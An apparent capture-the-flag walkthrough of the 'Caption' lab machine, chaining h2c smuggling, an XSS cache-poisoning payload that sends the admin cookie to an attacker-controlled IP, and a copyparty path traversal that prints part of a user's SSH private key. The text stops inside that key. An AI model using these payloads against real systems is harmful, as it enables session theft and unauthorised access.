Caption
Synopsis
Caption is a hard linux machine created by MrR3boot. We will get the margo credentials in GitBucket running in port 8080 to login into Caption Portal running in port 80. The machine uses varnish and haproxy services which is vulnerable to CVE-2021-26740 varnish h2c smuggling, XSS and varnish cache poisoning. We can chain the vulnerabilities to get the admin cookie for caption.htb domain and read the logs which is restricted to margo user. The enumeration to log reveals the use of copypart which is vulnerable to CVE-2023-37474 path travasel and we will get the margos id_ecdsa. The root is running the thrift in port 9090 and server.go which can be leveraged to get the shell as root by crafting malicious log file and creating script which will connect to thrift and read the log file.
Linux
Hard
40
14-09-2024
25-01-2025
Enumeration
Nmap
Started the nmap
scan and found the ssh and http services running.
nmap -p- -Pn -sC -sV --min-rate=1000 10.10.11.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 20:39 EST
Warning: 10.10.11.33 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.33
Host is up (6.6s latency).
Not shown: 47141 closed tcp ports (reset), 18391 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy
|_http-title: GitBucket
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Wed, 22 Jan 2025 01:51:03 GMT
| Set-Cookie: JSESSIONID=node01re4rwzjxaips1slx525zcd2y074.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5916
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/
| GetRequest:
| HTTP/1.1 200 OK
| Date: Wed, 22 Jan 2025 01:50:54 GMT
| Set-Cookie: JSESSIONID=node0xzxhhmrrps8t141p5ws0tcz0x72.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 8628
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.10.11.33:8080/" />
| <meta property="og:image" content="http://10.10.11.33:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20250122011355" type=
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 22 Jan 2025 01:50:58 GMT
| Set-Cookie: JSESSIONID=node01ofk192uti5h5aq8klj4ri7z273.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-lengt
SF:h:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\n
SF:\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nco
SF:ntent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved\
SF:x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\.
SF:htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\x
SF:20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache
SF:\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><bo
SF:dy><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20inv
SF:alid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/1
SF:\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:
SF:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\
SF:r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\
SF:x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTCP
SF:,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCac
SF:he-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20tex
SF:t/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brows
SF:er\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF,
SF:"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-C
SF:ontrol:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/ht
SF:ml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x
SF:20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=1/21%Time=67904EFD%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,19E6,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Wed,\x2022\x20Jan\
SF:x202025\x2001:50:54\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0xzxhhmrrps
SF:8t141p5ws0tcz0x72\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2
SF:001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;cha
SF:rset=utf-8\r\nContent-Length:\x208628\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20<head>
SF:\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<me
SF:ta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sca
SF:le=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x20\x20
SF:<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:title\
SF:"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20property=\"o
SF:g:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/\"\x20/>\n\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x20cont
SF:ent=\"http://10\.10\.11\.33:8080/assets/common/images/gitbucket_ogp\.pn
SF:g\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x2
SF:0rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202501220
SF:11355\"\x20type=")%r(HTTPOptions,109,"HTTP/1\.1\x20200\x20OK\r\nDate:\x
SF:20Wed,\x2022\x20Jan\x202025\x2001:50:58\x20GMT\r\nSet-Cookie:\x20JSESSI
SF:ONID=node01ofk192uti5h5aq8klj4ri7z273\.node0;\x20Path=/;\x20HttpOnly\r\
SF:nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Ty
SF:pe:\x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\nCo
SF:ntent-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x20HTTP
SF:\x20Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;charset=i
SF:so-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>B
SF:ad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(F
SF:ourOhFourRequest,1812,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Wed
SF:,\x2022\x20Jan\x202025\x2001:51:03\x20GMT\r\nSet-Cookie:\x20JSESSIONID=
SF:node01re4rwzjxaips1slx525zcd2y074\.node0;\x20Path=/;\x20HttpOnly\r\nExp
SF:ires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\
SF:x20text/html;charset=utf-8\r\nContent-Length:\x205916\r\n\r\n<!DOCTYPE\
SF:x20html>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">
SF:\n\x20\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x2
SF:0\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width
SF:,\x20initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n
SF:\x20\x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\x20prop
SF:erty=\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20
SF:property=\"og:url\"\x20content=\"http://10\.10\.11\.33:8080/nice%20port
SF:s%2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x
SF:20\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.10\.11\.33
SF::8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\x20\x20
SF:\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20href=\"/as
SF:sets/common/images/");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 800.71 seconds
Add the caption.htb domain in /etc/hosts file.
http - port 80 [ caption.htb ]
The website is presented with caption portal login.

Using the credentials to login found in Caption-Portal repository commit form here.

The /logs gives us the 403 forbidden and /firewall gives us page without any endpoints.

http - port 8080 [ caption.htb ]
The port 8080 is used to host the website for gitbucket service.

The gitbucket has two repository the Caption-Portal and Logservice.
Repository - Caption-Portal
The repository Caption-Portal uses the haproxy and varnish services.
HAProxy is a free and open-source software that acts as a high availability load balancer and proxy for TCP and HTTP-based applications.
Repository - Logservice
The repository Logservice uses the thrift.
Thrift provides a remote procedure call (RPC) framework and includes a code generation engine that can produce clients and servers in different languages from a single interface definition file. This allows developers to build interoperable services that can communicate seamlessly across different programming environments.
The Caption-Portal previous commits contains the margo credentials for http port 80 in haproxy.cfg.


Foothold
Varnish - h2c smuggling [ http port 80 ]
The varnish cache 6.6 is vulnerable to CVE-2021-26740 h2c smuggling while upgrading to h2c. The h2c smuggling is a technique that exploits the HTTP/1.1 to HTTP/2 cleartext (h2c) upgrade mechanism to bypass security controls. For more details, you can visit to this blog post.
Testing h2c smuggling
The BishopFox has created script for h2c smuggling in this github repository.
python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
Testing the h2c smuggling gives us positive result.
Trying to access /logs
Using h2c smuggling for accessing /logs redirects us to the login page.
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:04:52 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32823
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Portal Login</title>
<link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">
<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);
:root{
--primary-color: #022c22;
--secondary-color:#f0fdfa;
}
html * {
font-family: 'Roboto', sans-serif !important;
cursor:none;
}
body{
margin:0;
padding:0;
height:100vh;
width:100vw;
color:var(--secondary-color);
display:flex;
justify-content:center;
align-items:center;
}
.form-container{
height:550px;
text-align:center;
display:flex;
width:auto;
align-items:center;
justify-content:flex-end;
width: 1200px;
background-color:var(--primary-color);
box-shadow:
0 2.8px 2.2px rgba(0, 0, 0, 0.034),
0 6.7px 5.3px rgba(0, 0, 0, 0.048),
0 12.5px 10px rgba(0, 0, 0, 0.06),
0 22.3px 17.9px rgba(0, 0, 0, 0.072),
0 41.8px 33.4px rgba(0, 0, 0, 0.086),
0 100px 80px rgba(0, 0, 0, 0.12);
transition: all 0.3s;
}
.form-container:hover{
transform: scale(1.01) perspective(1px);
}
.form-container > form{
display:flex;
flex: 1 1 0px;
width:100%;
flex-direction:column;
gap:35px;
align-items:center;
justify-content:center;
}
.submit-btn{
width:35%;
font-size:medium;
background-color:transparent;
color:var(--secondary-color);
border:none;
transition:all 0.3s;
}
.submit-btn:hover{
background-color:var(--secondary-color);
color:var(--primary-color);
font-weight:bold;
outline:none;
transform: scale(1.08) perspective(1px);
}
img{
height:100%;
width:auto;
flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
position:relative;
width:50%;
}
label{
position: absolute;
left:-10px;
top:-15px;
z-index:1;
background-color:var(--primary-color);
padding-right:5%;
}
input{
background:transparent;
border:none;
height:30px;
outline: white solid;
font-size:medium;
color:var(--secondary-color);
padding-left:3%;
border-radius:4px;
transition: all 0.3s;
width:100%;
}
input:focus{
outline:green solid;
transform: scale(1.03) perspective(1px);
}
.mymouse{
z-index:2;
position:absolute;
height:30px;
width:30px;
background-color:transparent;
border-radius:50%;
outline: black solid;
transform: translateX(-50%) translateY(-50%);
pointer-events: none;
transition: all 100ms ease-out;
}
</style>
<script>
window.console = window.console || function(t) {};
</script>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div class="mymouse"></div>
<div class="form-container">
<form class="fr" method="POST">
<h1 class="elem">Caption Portal<br/>Login </h1>
<div class="fname-container">
<label for='fname'>UserName</label>
<input type="text" name="username" class="elem" >
</div>
<div class='lname-container'>
<label for='lname'>Password</label>
<input type="password" name="password" class="elem">
</div>
<div class='lname-container'>
</div>
<input type="submit" value="Login" class="submit-btn elem">
</form>
<img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
</div>
<script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
cursor.style.left = e.clientX + "px";
cursor.style.top = e.clientY + "px";
});
/*change mouse color*/
var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
</script>
</body>
</html>
[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:04:54 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 32824
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
Using margo session cookie.
The margo JWT in session cookie redirects us to /?err=role_error.
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3ODc0Njk5fQ.8s57SqU1r1sJG1ySo50d7J5x12ojMxYwhQvfQfxXFCA'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:56:50 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32841 131073
age: 128
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Portal Login</title>
<link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">
<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);
:root{
--primary-color: #022c22;
--secondary-color:#f0fdfa;
}
html * {
font-family: 'Roboto', sans-serif !important;
cursor:none;
}
body{
margin:0;
padding:0;
height:100vh;
width:100vw;
color:var(--secondary-color);
display:flex;
justify-content:center;
align-items:center;
}
.form-container{
height:550px;
text-align:center;
display:flex;
width:auto;
align-items:center;
justify-content:flex-end;
width: 1200px;
background-color:var(--primary-color);
box-shadow:
0 2.8px 2.2px rgba(0, 0, 0, 0.034),
0 6.7px 5.3px rgba(0, 0, 0, 0.048),
0 12.5px 10px rgba(0, 0, 0, 0.06),
0 22.3px 17.9px rgba(0, 0, 0, 0.072),
0 41.8px 33.4px rgba(0, 0, 0, 0.086),
0 100px 80px rgba(0, 0, 0, 0.12);
transition: all 0.3s;
}
.form-container:hover{
transform: scale(1.01) perspective(1px);
}
.form-container > form{
display:flex;
flex: 1 1 0px;
width:100%;
flex-direction:column;
gap:35px;
align-items:center;
justify-content:center;
}
.submit-btn{
width:35%;
font-size:medium;
background-color:transparent;
color:var(--secondary-color);
border:none;
transition:all 0.3s;
}
.submit-btn:hover{
background-color:var(--secondary-color);
color:var(--primary-color);
font-weight:bold;
outline:none;
transform: scale(1.08) perspective(1px);
}
img{
height:100%;
width:auto;
flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
position:relative;
width:50%;
}
label{
position: absolute;
left:-10px;
top:-15px;
z-index:1;
background-color:var(--primary-color);
padding-right:5%;
}
input{
background:transparent;
border:none;
height:30px;
outline: white solid;
font-size:medium;
color:var(--secondary-color);
padding-left:3%;
border-radius:4px;
transition: all 0.3s;
width:100%;
}
input:focus{
outline:green solid;
transform: scale(1.03) perspective(1px);
}
.mymouse{
z-index:2;
position:absolute;
height:30px;
width:30px;
background-color:transparent;
border-radius:50%;
outline: black solid;
transform: translateX(-50%) translateY(-50%);
pointer-events: none;
transition: all 100ms ease-out;
}
</style>
<script>
window.console = window.console || function(t) {};
</script>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div class="mymouse"></div>
<div class="form-container">
<form class="fr" method="POST">
<h1 class="elem">Caption Portal<br/>Login </h1>
<div class="fname-container">
<label for='fname'>UserName</label>
<input type="text" name="username" class="elem" >
</div>
<div class='lname-container'>
<label for='lname'>Password</label>
<input type="password" name="password" class="elem">
</div>
<div class='lname-container'>
</div>
<input type="submit" value="Login" class="submit-btn elem">
</form>
<img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
</div>
<script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
cursor.style.left = e.clientX + "px";
cursor.style.top = e.clientY + "px";
});
/*change mouse color*/
var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
</script>
</body>
</html>
[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 05:59:01 GMT
content-type: text/html; charset=utf-8
content-length: 219
location: /?err=role_error
x-varnish: 32842
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?err=role_error">/?err=role_error</a>. If not, click the link.
XSS with cache poisoning - Stealing Admin's cookie [ http port 80 ]
Intercepting the /firewall endpoint.
The /firewall endpoint in burpsuite
reveals us the x-varnish header which caches the previously made request on firewall page. The source code includes the none existence JavaScript file, which includes the utm_source parameter. The utm_source has http://internal-proxy.local value, which could be used to alter the source using proxy configuration.

<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>
<title>Viajar é Preciso</title>
<!-- LINKS BOOTSTRAP -->
<link href="http://caption.htb/static/css/bootstrap.min.css?utm_source=http://internal-proxy.local" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
<!-- ICONES -->
<link rel="stylesheet" href="http://caption.htb/static/css/bootstrap-icons.css?utm_source=http://internal-proxy.local">
Adding X-Forwarded-Host
Adding the X-Forwarded-Host in /firewall request to see whether the utm_source value changes.

The value of utm_source changes from http://internal.proxy.local to http://10.10.16.28. The parameter is also vulnerable to XSS payloads, which we can use for getting administrator cookie in 120 seconds because of varnish cache max-age set to 120.
Getting Admin JWT
Intercept the /firewall request in burpsuite and add the following payload in request header.
X-Forwarded-Host: "></script><script>var i=new Image;i.src="http://10.10.16.28:8443/?"+document.cookie;</script><script>
Send the request to repeater Ctrl + R, send the request from the repeater.

Open the nc listener in port 8443, wait for 120 seconds and refresh the /firewall endpoint.
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.33 39451
GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU HTTP/1.1
Host: 10.10.16.28:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://caption.htb/
Accept-Encoding: gzip, deflate

Shell - marcus [ Copypart Path Traversal ]
Analyzing the log reveals the download endpoint with url parameter and services or application running in 127.0.0.1:3923.
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU'
----- SNIP -----
<html lang="en" lang="pt-br" data-bs-theme="dark">
<head>
<meta charset="UTF-8">
<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>
<title>Caption Networks Home</title>
---- SNIP -----
</head>
<body>
<header class="container my-4">
<div class="row">
<!-- vai ocupar todo o espaço se a tela for pequena -->
<!-- col-lg-6 para telas grandes -->
<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>
----- SNIP -----
</body>
</html>
Downloading the http://127.0.0.1:3923 reveals that the copypart is running which we can get from this github repository.
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU'
----- SNIP -----
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>copyparty</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=0.8">
<meta name="theme-color" content="#333">
<link rel="stylesheet" media="screen" href="/.cpr/splash.css?_=C7Ta">
<link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=C7Ta">
</head>
----- SNIP -----
<a href="#" id="repl">π</a>
<span id="pb"><span>powered by</span> <a href="https://github.com/9001/copyparty">copyparty </a></span>
<script>
var SR = "",
lang="eng",
dfavico="🎉 000 none";
document.documentElement.className=localStorage.theme||"az a z";
</script>
<script src="/.cpr/util.js?_=C7Ta"></script>
<script src="/.cpr/splash.js?_=C7Ta"></script>
</body>
</html>
CVE-2023-37474
The copypart is vulnerable to CVE-2023-37474 path traversal attack through /.cpr subfolder. More details about it is found here.
While trying to fetch some of the files in .ssh folder in margo home directory I got the id_ecdsa file by which we will get the ssh shell as margo.
python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU'
----- SNIP -----
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 10:21:04 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65572
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
